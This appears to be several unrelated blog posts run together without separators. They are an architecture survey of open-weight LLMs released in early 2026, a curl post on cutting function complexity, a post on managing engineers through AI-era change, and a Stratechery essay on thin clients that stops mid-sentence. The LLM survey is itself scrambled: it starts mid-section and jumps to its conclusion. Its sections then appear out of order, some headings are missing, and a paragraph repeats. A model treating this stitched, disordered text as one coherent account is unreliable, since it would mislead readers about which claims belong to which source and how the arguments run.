use. That aside, Aya is a 3.35B parameter model that comes in several flavors that are useful for personal and (non-commercial) research use: tiny-aya-base (base model) tiny-aya-global (best balance across languages and regions) tiny-aya-fire (optimized for South Asian languages) tiny-aya-water (optimized for European and Asia Pacific languages) tiny-aya-earth (optimized for West Asian and African languages) More specifically, below is a list of languages the models are optimized for. Figure 34: Languages supported by the various Aya models. Architecture-wise, Tiny Aya is a classic decoder-style transformer with a few noteworthy modifications (besides the obvious ones like SwiGLU and Grouped Query Attention), as illustrated in the figure below. Figure 35: Tiny Aya (featuring a parallel transformer block) and Qwen3 4B side by side. Overall, the most noteworthy highlight in this architecture is the parallel transformer blocks. Here, the parallel transformer block computes attention and an MLP from the same normalized input, then adds both to the residual in a single step. I assume this is to reduce serial dependencies inside a layer to improve computational throughput. For those readers familiar with Cohere’s Command-A architecture, Tiny Aya seems to be a smaller version of it. Also, an interesting detail is that the Tiny Aya team dropped QK-Norm (an RMSNorm applied to keys and queries inside the attention mechanism); QK-Norm has become quite standard for improving training stability in terms of reducing loss spikes. According to a developer on the Cohere team, QK-Norm was dropped “since it can interact with long context performance.” ​As you may know, I occasionally code architectures from scratch. Since I found the parallel transformer block quite intriguing and the model runs fine on low-end hardware, I implemented it from scratch (for educational purposes), which you can find here on GitHub . Figure 36: Tiny Aya from-scratch implementation . This article was quite the whirlwind tour covering the main open-weight LLM releases around February 2026. If there is a takeaway from this, it’s that there are various model architectures (all derived from the original GPT model) that work well. Modeling performance is likely not attributed to the architecture design itself but rather the dataset quality and training recipes (a good topic for a separate article). That said, architectural design remains an essential part of building a successful LLM, and many developers seem to be steering towards adding more and more computational performance tweaks. For example, this includes adapting MLA (Kimi K2.5, GLM-5, Ling 2.5) and DeepSeek Sparse Attention (GLM-5) to continue the Gated DeltaNet (Qwen3.5) or similar forms of linear attention (Ling 2.5). Figure 37: Attention types used by the various architectures mentioned in this article. Also, more classic efficiency tweaks like grouped query attention and sliding window attention (Arcee Trinity, Step 3.5 Flash, Tiny Aya) remain popular. Among the new releases, only MiniMax M2.5 and Nanbeige 4.1 stayed very classic here, using only Grouped Query Attention without any other efficiency tweak. DeepSeek V4 is the model everyone is waiting for. Unfortunately, as of this writing, it hasn’t been released yet. However, I plan to add it to this article once it’s released, which is likely on or before the first week of March. Another interesting model is Sarvam (30B & 100B) from India. The model was recently announced, but it hasn’t been released yet. Stay tuned for an update here as well. This magazine is a personal passion project, and your support helps keep it alive. If you’d like to support my work, please consider a subscription or purchasing a copy of my Build a Large Language Model (From Scratch) book or its follow-up, Build a Reasoning Model (From Scratch) . (I’m confident you’ll get a lot out of these; they explain how LLMs work in depth you won’t find elsewhere.) Thanks for reading, and for helping support independent research! Build a Large Language Model (From Scratch) is now available on Amazon . Build a Reasoning Model (From Scratch) is in Early Access at Manning . If you read the book and have a few minutes to spare, I’d really appreciate a brief review . It helps us authors a lot! Your support means a great deal! Thank you! Arcee AI’s Trinity Large (Jan 27, 2026) Moonshot AI’s Kimi K2.5 (Jan 27, 2026) StepFun Step 3.5 Flash (Feb 1, 2026) Qwen3-Coder-Next (Feb 3, 2026) z.AI’s GLM-5 (Feb 12, 2026) MiniMax M2.5 (Feb 12, 2026) Nanbeige 4.1 3B (Feb 13, 2026) Qwen 3.5 (Feb 15, 2026) Ant Group’s Ling 2.5 1T & Ring 2.5 1T (Feb 16, 2026) Cohere’s Tiny Aya (Feb 17, 2026) Their flagship large model is a 400B param Mixture-of-Experts (MoE) with 13B active parameters. The two smaller variants are Trinity Mini (26B with 3B active parameters) and Trinity Nano (6B with 1B active parameters). Figure 1: Overview of the Trinity Large architecture (based on the model hub config file ). Along with the model weights, Arcee AI also released a nice technical report on GitHub (as of Feb 18 also on arxiv ) with lots of details. So, let’s take a closer look at the 400B flagship model. Figure 2 below compares it to z.AI’s GLM-4.5 , which is perhaps the most similar model due to its size with 355B parameters. Figure 2: Arcee AI Trinity Large next to GLM-4.5 of a relatively similar size (400B vs 355B). As we can see in the Trinity and GLM-4.5 comparison, there are several interesting architectural components added to the Trinity model. First, there are the alternating local:global (sliding window) attention layers (SWA) like in Gemma 3, Olmo 3, Xiaomi MiMo, etc. In short, SWA is a type of sparse (local) attention pattern where each token attends only to a fixed-size window of t recent tokens (for example, 4096) instead of attending to the entire input (which could be up to n=256,000 tokens). This reduces the per-layer regular attention cost from O( n ²) to roughly O( n · t ) for sequence length n , which is why it is attractive for long-context models. Figure 3: A comparison between regular attention (global attention) and sliding window attention (local attention). But instead of using the common 5:1 local:global ratio that Gemma 3 and Xiaomi used, the Arcee team opted for a 3:1 ratio similar to Olmo 3, and a relatively large sliding window size of 4096 (also similar to Olmo 3). The architecture also uses QK-Norm , which is a technique that applies RMSNorm to the keys and queries to stabilize training (as shown in Figure 4 below), as well as no positional embeddings ( NoPE ) in the global attention layers similar to SmolLM3 . Trinity also has a form of gated attention. It’s not a full-blown Gated DeltaNet but it uses a similar gating as in the attention mechanism in Qwen3-Next . I.e., the Trinity team modified the standard attention by adding elementwise gating to the scaled dot-product before the output linear projection (as shown in the figure below), which reduces attention sinks and improves long-sequence generalization. Additionally, it also helped with training stability. Figure 4: Illustration of the gating mechanism that Trinity Large uses in the attention mechanism. Also, the Trinity technical report showed that the modeling performance of the Trinity Large and GLM-4.5 base models are practically identical (I assume they didn’t compare it to more recent base models because many companies only share their fine-tuned models these days.) You may have noticed the use of four (instead of two) RMSNorm layers in the previous Trinity Large architecture figure which looks similar to Gemma 3 at first glance. Figure 5: Arcee Trinity and Gemma 3 RMSNorm placement side by side. Overall, the RMSNorm placement looks like a Gemma 3-like RMSNorm placement, but the twist here is that the gain of the second RMSNorm (in each block) is depth-scaled, meaning it’s initialized to about 1 / sqrt(L) (with L the total number of layers). So, early in training, the residual update starts small and grows as the model learns the right scale. Figure 6: Arcee Trinity and DeepSeek V3/R1 MoE side by side. The MoE is a DeepSeek-like MoE with lots of small experts, but made it coarser as that helps with inference throughput (something we have also seen in Mistral 3 Large when they adopted the DeepSeek V3 architecture). Lastly, there are some interesting details on the training improvements (a new MoE load-balancing strategy and another using the MuOpt optimizer), but since this is a mainly an architecture article (and there are many more open-weight LLMs to cover), these details are out of scope. 2. Moonshot AI’s Kimi K2.5: A DeepSeek-Like Model at a 1-Trillion-Parameter Scale While Arcee Trinity essentially matched the modeling performance of the older GLM-4.5 model, Kimi K2.5 is an open-weight model that set a new open-weight performance ceiling at the time of its release on Jan 27. ​Impressively, according to their own benchmarks in their detailed technical report , it was on par with the leading proprietary models at the time of its release. ​ Figure 7: Kimi K2.5 performance benchmark from the official K2.5 technical report . The good modeling performance is no surprise when compared to, e.g., Arcee Trinity or GLM-4.5 covered earlier, since (similar to its K2 predecessor), Kimi K2.5 is a 1-trillion-parameter model and thus 2.5x larger than Trinity and 2.8x larger than GLM-4.5. Overall, the Kimi K2.5 architecture is similar to Kimi K2, which, in turn, is a scaled-up version of the DeepSeek V3 architecture. Figure 8: Kimi K2 is a larger version of the DeepSeek V3 architecture. However, K2 was a pure text model, and Kimi K2.5 is now a multimodal model with vision support. To quote from the technical report: ​> Kimi K2.5 is a native multimodal model built upon Kimi K2 through large-scale joint pre-training on approximately 15 trillion mixed visual and text tokens. During the training, they adopted an early fusion approach and passed in the vision tokens early on alongside the text tokens, as I discussed in my older Understanding Multimodal LLMs article. Figure 9: Like most other contemporary multimodal LLMs, Kimi K2.5 uses method A, passing the vision tokens alongside the text tokens during training. Side note: In multimodal papers, “early fusion” is unfortunately overloaded. It can mean either 1. When the model sees vision tokens during pre-training. I.e., vision tokens are mixed in from the start (or very early) of pre-training as opposed to later stages. 2. How the image tokens are combined in the model. I.e., they are fed as embedded tokens alongside the text tokens. In this case, while the term “early fusion” in the report specifically refers to point 1 (when the vision tokens are provided during pre-training), point 2 is also true here. Furthermore, regarding point 1, the researchers included an interesting ablation study showing that the model benefits from seeing vision tokens early in pre-training, as shown in the annotated table below. Figure 10: Given a fixed number of vision tokens during training, the model performance benefits if the model is shown a smaller number of vision tokens early on during pre-training (as opposed to adding a higher number of vision tokens later on). Annotated table from the Kimi K2.5 technical report . 3. StepFun’s Step 3.5 Flash: Good Performance at Great Tokens/Sec Throughput I have to admit that I haven’t had the Step models on my radar yet. This one caught my attention due to its interesting size, detailed technical report , and fast tokens/sec performance. Step 3.5 Flash is a 196B parameter model that is more than 3x smaller than the recent DeepSeek V3.2 model (671B) while being slightly ahead in modeling performance benchmarks. According to the Step team, Step 3.5 Flash has a 100 tokens/sec throughput at a 128k context length, whereas DeepSeek V3.2 has only a 33 tokens/sec throughput on Hopper GPUs, according to the data on the Step model hub page . Figure 11: Step 3.5 Flash benchmark from the Step technical report . One reason for this higher performance is the model’s smaller size (196B-parameter MoE with 11B parameters active per token versus 671B-parameter MoE with 37B parameters active), as shown in the figure below. Figure 12: Step 3.5 Flash and DeepSeek V3.2 side by side. The other reason along with gated attention (which we previously discussed in the context of Trinity) is Multi-Token Prediction (MTP) . DeepSeek has been an early adopter of multi-token prediction, a technique that trains the LLM to predict multiple future tokens at each step, rather than a single one. Here, at each position t, small extra heads (linear layers) output logits for t+1...t+k, and we sum cross-entropy losses for these offsets (in the MTP paper, the researchers recommended k=4). This additional signal speeds up training, and inference may remain at generating one token at a time, as illustrated in the figure below. Figure 13: Multi-Token Prediction versus regular next token prediction. (Left subfigure inspired by the MTP paper .) Originally, MTP was only used during training, not inference; hence, the inference time steps (bottom) show a single next-token prediction. DeepSeek V3 reported using MTP-1, that is, MTP with 1 extra token (instead of 3) during training, and then making MTP optional during inference. Step 3.5 Flash uses MTP with 3 additional tokens (MTP-3) during both training and inference (note that MTP is usually not used during inference, and this is an exception). ​Note that the previously discussed Arcee Trinity and Kimi K2.5 do not use MTP, but other architectures already use an MTP-3 setup similar to Step 3.5 Flash, for example, GLM-4.7 and MiniMax M2.1. 4. Qwen3-Coder-Next: An Attention-Hybrid for Coding In early February 2026, the Qwen3 team shared the 80B Qwen3-Coder-Next model (3B parameters active), which made big headlines for outperforming much larger models like DeepSeek V3.2 (37B active) and Kimi K2.5 and GLM-4.7 (both 32B active) on coding tasks. Figure 14: Qwen3-Coder-Next performance on a coding benchmark next to other popular coding models; this figure appeared in the official technical report . Moreover, as shown in the benchmark figure above, the Qwen3-Coder-Next SWE-Bench Pro performance is roughly on par with Claude Sonnet 4.5 (and only slightly below Claude Opus 4.5), which is impressive for a relatively small open-weight model! Using the ollama version of Qwen3-Coder-Next locally, the model takes about 48.2 GB of storage space and 51 GB of RAM. Figure 15: Running Qwen3-Coder-Next locally. Note that the architecture behind Qwen3-Coder-Next is exactly the same as Qwen3-Next 80B (in fact, the pre-trained Qwen3-Next 80B is used as a base model for further mid- and post-training). Figure 16 below shows the Qwen3-Next architecture next to a regular Qwen3 235B model for reference. Figure 16: Qwen3-Coder-Next 80B (3B parameters active per token) and the 3x larger Qwen3 235B-A22B architecture. The new Qwen3 Next architecture stands out because, despite being 3x smaller than the previous 235B-A22B model, it introduces four times as many experts and even adds a shared expert. Both of these design choices (a high expert count and the inclusion of a shared expert). ​The other highlight is that they replace the regular attention mechanism with a Gated DeltaNet + Gated Attention hybrid, which helps enable the native 262k token context length in terms of memory usage (the 235B-A22B model supported 32k natively and 131k with YaRN scaling). ​So how does this new attention hybrid work? Compared to grouped‑query attention (GQA), which is still standard scaled dot‑product attention (sharing K/V across query‑head groups to cut KV‑cache size and memory bandwidth as discussed earlier, but whose decode cost and cache still grow with sequence length), their hybrid mechanism mixes Gated DeltaNet blocks with Gated Attention blocks in a 3:1 ratio as shown in Figure 17. Figure 17: The Qwen3-Coder-Next attention hybrid setup. We can think of the gated attention block as standard scaled-dot-product attention used in GQA, with a few tweaks on top. The main differences between gated attention and plain GQA block are: an output gate (sigmoid-controlled, usually per-channel) that scales the attention result before it is added back to the residual; zero-centered RMSNorm for QKNorm, rather than a standard RMSNorm; partial RoPE (on a subset of dimensions). Figure 18: GLM-5 architecture next to its GLM-4.7 predecessor. Benchmarks at the bottom taken from the official GLM-5 technical report . Not too long ago, GLM-4.7 (December 2025) was one of the strongest open-weight models. GLM-5 shows a major modeling performance improvement based on the benchmark shown in Figure 18 above. That jump is likely partly due to improvements to the training pipeline, but likely largely attributed to its 2x larger parameter count from 355B parameters in GLM-4.7 to 744B parameters in GLM-5. This size increase now places GLM-5 between DeepSeek V3.2 (671B) and Kimi K2.5 (1T) in terms of scale. Comparing the benchmark numbers of the previously discussed Kimi K2.5 (1T), the smaller GLM-5 (744B) model seems slightly ahead, as shown in the table below. Figure 19: GLM-5 (744B) and Kimi K2.5 (1T) benchmark performance side by side (larger is better). Like GLM-4.7, all the other models discussed so far, GLM-5 is a Mixture-of-Experts model. The number of active parameters per token increases only slightly, from 32B in GLM-4.7 to 40B in GLM-5. As shown in Figure 20 below, GLM-5 now adopts DeepSeek’s multi-head latent attention as well as DeepSeek Sparse Attention. (I described DeepSeek Sparse Attention in more detail in From DeepSeek V3 to V3.2: Architecture, Sparse Attention, and RL Updates .) These modifications are likely intended to reduce inference costs when working with long contexts. Otherwise, the overall architecture remains relatively similar. Figure 20: GLM-5 and DeepSeek V3.2 side by side (two similar architectures at a similar size). The increase in total size over GLM-4.7 mainly comes from expanding the number of experts, from 160 (GLM-4.7) to 256 (GLM-5), and slightly increasing layer dimensions (while keeping the number of experts the same at 8 regular + 1 shared expert per token). For example, the embedding dimension and expert size increase from 5,120 to 6,144, and the intermediate projection size rises from 1,536 to 2,048. Interestingly, the number of transformer layers is reduced from 92 in GLM-4.7 to 78 in GLM-5. I assume this change is also intended to reduce inference costs and improve latency, since layer depth cannot be parallelized in the same way as width. Additionally, I also checked an independent benchmark (here, the hallucination leaderboard ), and it indeed looks like GLM-5 is on par with Opus 4.5 and GPT-5.2 (while using fewer tokens). Figure 21: Next to the overall benchmark performance, this table adds hallucination rates from the hallucination leaderboard . Furthermore, looking at the most recent Artificial Intelligence Index, which aggregates various benchmarks, GLM-5 is indeed slightly ahead of Kimi K2.5 and only one point behind GPT-5.2 (xhigh) and the recent Claude Sonnet 4.6. Figure 22: Artificial Intelligence Index snapshot from Feb 21, 2026. 6. MiniMax M2.5: A Strong Coder with “Only” 230B Parameters The aforementioned GLM-5 and Kimi K2.5 are popular open-weight models, but according to OpenRouter statistics , they pale in comparison to MiniMax M2.5 , which was released on February 12 as well. Figure 23: OpenRouter usage snapshot from Feb 21, 2026. ​ OpenRouter is a platform and API that lets developers access and route requests across many different LLMs from various providers. Note that while its usage statistics are a good indicator of open-weight model popularity, it’s heavily biased towards open-weight models (versus proprietary models), since most users use proprietary models through the official platform directly. There is also usage bias across open-weight models, since many people also use open-weight models through the official developers’ APIs. Anyways, it can still be an interesting place to guesstimate the relative popularity of open-weight models that are too large to run locally for most users. ​ Now, back to MiniMax M2.5. Pulling together the GLM-5 data from the SWE-Bench Verified coding benchmark and combining it with the reported MiniMax M2.5, the latter appears to be a slightly stronger model (at least when it comes to coding). Figure 24: MiniMax M2.5 coding performance on SWE-Bench Verified​ Side note: It’s interesting to see Opus 4.5 and Opus 4.6 practically scoring identically on SWE-Bench Verified. This can be an indicator that LLM progress has stalled. I don’t think that’s true, though, given that users of Opus 4.6 can confirm that this model does seem to perform better in real-world usage. So, the more likely issue here is that the SWE-Bench Verified benchmark has saturated, and it may no longer be a meaningful benchmark to report from now on (in favor of other benchmarks like SWE-Bench Pro, for example). With saturated, I mean that it potentially contains unsolvable problems due to design issues (as discussed in a recent Reddit thread and the new “ Why SWE-bench Verified no longer measures frontier coding capabilities “ article by OpenAI). Anyways, back to the topic of MiniMax M2.5 performance. Looking across a broader selection of benchmarks, according to the Artificial Intelligence Index aggregation, GLM-5 remains ahead. This is perhaps no surprise because GLM-5 is still a 4x larger model than M2.5, even though the tokens/sec throughput is quite similar. Figure 25: GLM-5 vs MiniMax M2.5 comparison based on the Artificial Intelligence Index (Feb 21, 2026) I think MiniMax M2.5’s popularity is partly owed to the fact that it is a smaller, cheaper model with roughly similar modeling performance (i.e., a good bang for the buck). Architecture-wise, MiniMax M2.5 is a 230B model with a fairly classic design: just plain Grouped Query Attention, no sliding window attention or other efficiency improvements. Figure 26: MiniMax M2.5 next to GLM-5. So far, this is also the first architecture in this report that doesn’t come with a detailed technical report, but you can find additional information on the model hub page . 7. Nanbeige 4.1 3B: A Strong Llama 3 Successor In this section, we are switching gears and finally covering a smaller model that can run locally on a laptop. But first let’s start with some context before we get to Nanbeige 4.1 3B . Qwen models have always been very popular models. I often tell the story that when I was an advisor during the NeurIPS LLM efficiency challenge a few years back, most of the winning solutions were based on a Qwen model. ​Now, Qwen3 is likely among the most widely used open-weight model suite since they cover such a wide range of sizes and use cases (from 0.6B to 235B) Especially the smaller models (80B and less, like Qwen3-Next, covered previously) are great for local use on consumer hardware. Figure 27: Relative adoption popularity of open-weight models. Note that this shows the number of models on the Hugging Face model hub that are finetuned using one of those models as a base model. (This is not the number of people who use the models on their computer locally, which would be a number impossible to know.) Source: Atom Project .​ Why I am mentioning all this is that Nanbeige 4.1 3B seems to target the “small” LLM on-device use case that Qwen3 is so popular for. According to the Nanbeige 4.1 3B benchmarks, their model is way ahead of Qwen3 (perhaps no surprise, given that Qwen3 is almost a year old). Figure 28: Nanbeige 4.1 3B benchmark comparison with Qwen3 (Source: Nanbeige 4.1 3B model hub page ). Architecture-wise, Nanbeige 4.1 3B is similar to Qwen3 4B, which is, in turn, very similar to Llama 3.2 3B. I am showing Nanbeige 4.1 3B next to Llama 3.2 3B below because it is the most similar in size. Figure 29: Nanbeige 4.1 3B next to Llama 3.2 3B. Nanbeige 4.1 3B uses the same architectural components as Llama 3.2 3B, with some minor scaling differences (slightly smaller embedding dimensions and larger intermediate projections, and so on). The one difference not shown in the figure above is that Nanbeige does not tie the input embedding weights to the output layer weights, whereas Llama 3.2 3B does. (In my experience, weight tying is a nice way to reduce the total number of parameters, but it almost always results in worse training performance as evidenced by higher training and validation losses.) ​As mentioned before, this article focuses primarily on the architecture comparisons. And in this case, most of the performance gains (compared to the Nanbeige 4 3B predecessor) come from additional post-training with supervised fine-tuning and reinforcement learning, but interested readers can find more information in the detailed technical report . 8. Qwen3.5 and the Continutation of Hybrid Attention While the previous section briefly covered Qwen3 as the most open-weight model family, it is getting a bit long in the tooth as its release is almost a year ago (if we don’t count the Qwen3-Next variants geared towards efficiency). However, the Qwen team just released a new Qwen3.5 model variant on February 15. Qwen3.5 397B-A17B, a Mixture-of-Experts (MoE) with 397B parameters (17B active per token), is a step up from the largest Qwen3 model, which is 235B parameters in size. (There is also the 1 trillion-parameter Qwen3-Max model, but it was never released as an open-weight model.) The obligatory benchmark overview shows that Qwen3.5 exceeds the previous Qwen3-Max model across the board, with a much stronger focus on agentic terminal coding applications (the main theme this year). Qwen3.5 appears to be roughly on par with GLM-5 and MiniMax M2.5 in terms of pure agentic coding performance (e.g., SWE-Bench Verified).​ Figure 30: Qwen3.5 benchmark overview from the official model hub page . Since the Qwen team likes to release a separate coding model (e.g., see Qwen3-Coder-Next, which we discussed previously), this makes me curious to see how a potential Qwen3.5-Coder will perform. Architecture-wise, Qwen3.5 adopts the hybrid attention model (featuring Gated DeltaNet) that Qwen3-Next and Qwen3-Coder-Next (section 4) used. This is interesting because Qwen3-Next models were initially an alternative to the full-attention Qwen3 models, but this suggests that the Qwen team has now adopted the hybrid attention mechanism into its main line of models. Figure 31: Comparison between Qwen3.5 and the Qwen3(-Coder)-Next architectures.​ Besides scaling up the model size, as shown in the figure above, Qwen3.5 now also includes multimodal support (previously, it was only available in separate Qwen3-VL models). Anyways, Qwen3.5 is a nice refresh of the Qwen series, and I hope that we will see smaller Qwen3.5 variants in the future, too! Edit: Just as I finalized this article, the Qwen team launched said smaller model variants: Qwen3.5-27B Qwen3.5-35B-A3B Qwen3.5-122B-A10B Figure 32: Ling 2.5 compared to Qwen3.5; both architectures are linear attention hybrids. Ling 2.5 is not the strongest model in terms of absolute benchmark performance, but its selling point is very good efficiency in long contexts (due to the hybrid attention). Unfortunately, there are no direct comparisons to Qwen3.5, but compared to Kimi K2 (1T parameters; the same size as Ling 2.5), Ling 2.5 achieves a 3.5x higher throughput at a sequence length of 32k tokens. Figure 33: Relative throughput of Ling 2.5 compared to Kimi K2 (same 1 trillion parameter size); note that the throughput is normalized so that Kimi K2 is shown at 1x (Kimi’s throughput is not linear even though it appears linear in this plot). Source: Ling 2.5 model hub page . 10. Tiny Aya: A 3.35B Model with Strong Multilingual Support Released on February 17, Tiny Aya is a new, “small” LLM by Cohere that is said to be the “most capable multilingual open-weight model” at the 3B parameter size class. (Tiny Aya outperforms Qwen3-4B, Gemma 3 4B, and Ministral 3 3B according to the announcement post ). This is a great model to run and experiment with locally. The only caveat is that while it’s an open-weight model, its licensing terms are relatively restricted and only allow non-commercial use. That aside, Aya is a 3.35B parameter model that comes in several flavors that are useful for personal and (non-commercial) research use: tiny-aya-base (base model) tiny-aya-global (best balance across languages and regions) tiny-aya-fire (optimized for South Asian languages) tiny-aya-water (optimized for European and Asia Pacific languages) tiny-aya-earth (optimized for West Asian and African languages)

0 views
daniel.haxx.se 5 days ago

decomplexification continued

Last spring I wrote a blog post about our ongoing work in the background to gradually simplify the curl source code over time. This is a follow-up: a status update of what we have done since then and what comes next. In May 2025 I had just managed to get the worst function in curl down to complexity 100, and the average score of all curl production source code (179,000 lines of code) was at 20.8. We had 15 functions still scoring over 70. Almost ten months later we have reduced the most complex function in curl from 100 to 59. Meaning that we have simplified a vast number of functions. Done by splitting them up into smaller pieces and by refactoring logic. Reviewed by humans, verified by lots of test cases, checked by analyzers and fuzzers, The current 171,000 lines of code now has an average complexity of 15.9. The complexity score in this case is just the cold and raw metric reported by the pmccabe tool. I decided to use that as the absolute truth, even if of course a human could at times debate and argue about its claims. It makes it easier to just obey to the tool, and it is quite frankly doing a decent job at this so it’s not a problem. In almost all cases the main problem with complex functions is that they do a lot of things in a single function – too many – where the functionality performed could or should rather be split into several smaller sub functions. In almost every case it is also immediately obvious that when splitting a function into two, three or more sub functions with smaller and more specific scopes, the code gets easier to understand and each smaller function is subsequently easier to debug and improve. I don’t know how far we can take the simplification and what the ideal average complexity score of a the curl code base might be. At some point it becomes counter-effective and making functions even smaller then just makes it harder to follow code flows and absorbing the proper context into your head. To illustrate our simplification journey, I decided to render graphs with a date axle starting at 2022-01-01 and ending today. Slightly over four years, representing a little under 10,000 git commits. First, a look a the complexity of the worst scored function in curl production code over the last four years. Comparing with P90 and P99. The most complex function in curl over time Identifying the worst function might not say too much about the code in general, so another check is to see how the average complexity has changed. This is calculated like this: For all functions, add its function-score x function-length to a total complexity score, and in the end, divide that total complexity score on total number of lines used for all functions. Also do the same for a median score. Average and median complexity per source code line in curl, over time. When 2022 started, the average was about 46 and as can be seen, it has been dwindling ever since, with a few steep drops when we have merged dedicated improvement work. One way to complete the average and median lines to offer us a better picture of the state, is to investigate the complexity distribution through-out the source code. How big portion of the curl source code is how complex This reveals that the most complex quarter of the code in 2022 has since been simplified. Back then 25% of the code scored above 60, and now all of the code is below 60. It also shows that during 2025 we managed to clean up all the dark functions, meaning the end of 100+ complexity functions. Never to return, as the plan is at least. We don’t really know. We believe less complex code is generally good for security and code readability, but I it is probably still too early for us to be able to actually measure any particular positive outcome of this work (apart from fancy graphs). Also, there are many more ways to judge code than by this complexity score alone. Like having sensible APIs both internal and external and making sure that they are properly and correctly documented etc. The fact that they all interact together and they all keep changing, makes it really hard to isolate a single factor like complexity and say that changing this alone is what makes an impact. Additionally: maybe just the refactor itself and the attention to the functions when doing so either fix problems or introduce new problems, that is then not actually because of the change of complexity but just the mere result of eyes giving attention on that code and changing it right then. Maybe we just need to allow several more years to pass before any change from this can be measured? All functions get a complexity score by pmccabe Each function has a number of lines

0 views

Leading Without a Map

No one can deny that our industry is in a period of great change. This industry never stops, and the rate goes up and down but change is a constant. Like it or not " change calls the tune we dance to ." One of the biggest reasons people resist change, even people who joined the software business to "change the world" is when they feel it threatens their self-perception and identity. In the west our job is often the primary piece of our identity. One sees it everywhere. Your LinkedIn profile has your name first, and some sort of job title or role description second. Heck even contestants on Jeopardy are introduced as "A marketing consultant from Eyebrow, Saskatchewan ." When completing the sentence "I am a..." most people pick their job. When change is high, that self-conception can quickly feel under threat. Even in the small it can happen. Your company decides they'd be better served writing new code in Java rather than Python or Ruby, you can expect a few "Pythonistas" or "Rubyists" to push back. In their heart of hearts they may agree with the decision on its merits but they nevertheless feel that their very identity is under threat. This can also include their social group/community/tribe membership, something that humans are genetically programmed to value and protect. So it's no doubt understandable that change can bring out strange and unpredictable behaviour in people when they feel like there's risk to their identity, self concept, or tribal membership. Well, first of all, acknowledge to ourselves that we are not immune from these phenomena either. Presumably most of us started out as software developers ourselves and when we started managing the people who did the job, it was the job we used to do so we got it. Over time, that's drifted. New frameworks and paradigms have emerged, new 'best' practices replaced the old 'best' practices and we became less intimately familiar with the day-to-day things our people were doing. This is uncomfortable at times, but we adapt. We learn what we can to stay involved at the right level and to coach and guide the people we're responsible for. Now, the game is changing in a much more fundamental and profound way. And it's happening fast. I don't know what the job of software developer is going to look like in a year from now (or even 6 months for that matter) and, frankly, neither does anyone else. This makes the job of manager much much harder. Your people are used to you having at least some concept of a map and sharing it with them and you don't have one. Everyone's figuring it out together. A good friend and former colleague once described an aspect of leadership as "smiling while the sky is falling." I'm not sure if he came up with it or if I should attribute it to someone else but I heard it from him first. My point here isn't that the sky is falling but rather, when your people are worried, you need to appear steadfast or you make the problem worse. You don't owe them certainty , because that would be dishonest and they'll clock your dishonesty whether they admit it or not. But just like in incident response, panic serves no one . You owe them calm reassurance that you're going to navigate this new world together and that you've got their best-interests at heart. You do this even though you might be feeling the same threat to your identity. You manage engineers but they're becoming some kind of new thing; bot-wranglers. Some of your other responsibilities are being offloaded to LLMs and everyone's role is going to keep changing until things inevitably settle down again (relatively speaking). With no playbook, we need some kind of framework for decision making. This is where we can fall back to 'first principles'. For me these are the things I hold important. Really, the basics: It sounds simple, and really, it is. Taking care of the people right now means recognizing that they're feeling that identity risk. The worst thing you can do is try to talk them out of it or convince them they're not feeling what they're feeling. Acknowledge that things are changing. Maintain ' esprit de corps ' as best you can. Draw on your experience navigating big changes before. If you've been around this industry for any amount of time, you've been through some big paradigm shifts and come out the other side. Tell some stories, but don't make it all about you. The business and customer angles come down to maintaining consistent principles around what software gets shipped to customers. I personally have the pleasing-to-nobody opinion that LLM coding tools are useful but not risk-free. Surely you have some skeptics in your midst who feel the same. Don't dismiss them either. Security, quality, maintainability, incident response, and the work-life balance of your people are still the responsibility of the humans running the company. That's the job right now, however the machinery of it changes. Keep taking care of your people and customers, like you always have. You already know how. " Statue of Captain George Vancouver, anchors and the Custom House, King's Lynn " by ell brown is licensed under CC BY 2.0 . Like this? Please feel free to share it on your favourite social media or link site! Share it with friends! Hit subscribe to get new posts delivered to your inbox automatically. Feedback? Get in touch ! Doing my best to take care of the people. Doing what the business needs most at the given moment. Providing value to customers.

1 views
Stratechery 1 weeks ago

Thin Is In

Listen to this post : There was, in the early days of computing, no debate about thick clients versus thin: When a computer was the size of a room, there were no clients: you scheduled time or submitted jobs, and got back the results when it was your turn. A few years later, however, thin clients in the form of a monitor and keyboard arrived: There is no computer in this image; rather, this is a terminal connected to a mainframe. That’s why it’s called a “thin” client: it’s just an interface, with all of the computing happening elsewhere (i.e. in another room). By the 1980s, however, “thick” clients were the dominant form of computing, in the form of the PC. All of your I/O and compute were packaged together: you typed on a keyboard connected to a PC, which output to the monitor in front of you. A decade later, and Sun Microsystems in particular tried to push the idea of a “network computer”: This was a device that didn’t really have a local operating system; you ran Java applications and Java applets from a browser that were downloaded as they were used from a central server. Sun’s pitch was that network computers would be much cheaper and easier to administer, but PCs were dropping in price so quickly that the value proposition rapidly disappeared, and Windows so dominant that it was already the only platform that network administrators wanted to deal with. Thick clients won, and won decisively. If you wanted to make a case for thin clients, you could argue that mobile devices are a hybrid; after all, the rise of mobile benefited from and drove the rise of the cloud: nearly every app on a phone connects to a server somewhere. Ultimately, however, mobile devices are themselves thick clients: they are very capable computers in their own right, that certainly benefit from being connected to a server, but are useful without it. Critically, the server component is just data: the actual interface is entirely local. You can make the same argument about SaaS apps: on one hand, yes, they operate in the cloud and are usually accessed via a browser; on the other hand, the modern browser is basically an operating system in its own right, and the innovations that made SaaS apps possible were the fact that interactive web apps could be downloaded and run locally. Granted, this isn’t far off from Sun’s vision (although the language ended up being JavaScript, not Java), but you still need a lot of local compute to make these apps work. The thick-versus-thin debate felt, for many years, like a relic; that’s how decisive was the thick client victory. One of the things that is fascinating about AI, however, is that the thin client concept is not just back, it’s dominant. The clearest example of this is the interface that most people use to interact with AI: chat. There is no UI that matters other than a text field and a submit button; when you click that button the text is sent to a data center, where all of the computation happens, and an answer is sent back to you. The quality of the answer or of the experience as a whole is largely independent of the device you are using: it could be a browser on a PC, an app on a high-end smartphone, or the cheapest Android device you can find. The device could be a car, or glasses, or just an earpiece. The local compute that matters is not processing power, but rather connectivity. This interaction paradigm actually looks a lot like the interaction paradigm for mainframe computers: type text into a terminal, send it to the computer, and get a response back. Unlike mainframe terminals, however, the user doesn’t need to know a deterministic set of commands; you just say what you want in plain language and the computer understands. There is no pressure for local compute capability to drive a user interface that makes the computer easier to use, because a more complex user interface would artificially constrain the AI’s capabilities. Nicolas Bustamante, in an X Article about the prospects for vertical software in an AI world , explained why this is threatening: When the interface is a natural language conversation, years of muscle memory become worthless. The switching cost that justified $25K per seat per year dissolves. For many vertical software companies, the interface was most of the value. The underlying data was licensed, public, or semi-commoditized. What justified premium pricing was the workflow built on top of that data. That’s over. Bustamante’s post is about much more than chat interfaces, but I think the user interface point is profound: it’s less that AI user interfaces are different, and more that, for many use cases, they basically don’t exist. This is even clearer when you consider the next big wave of AI: agents. The point of an agent is not to use 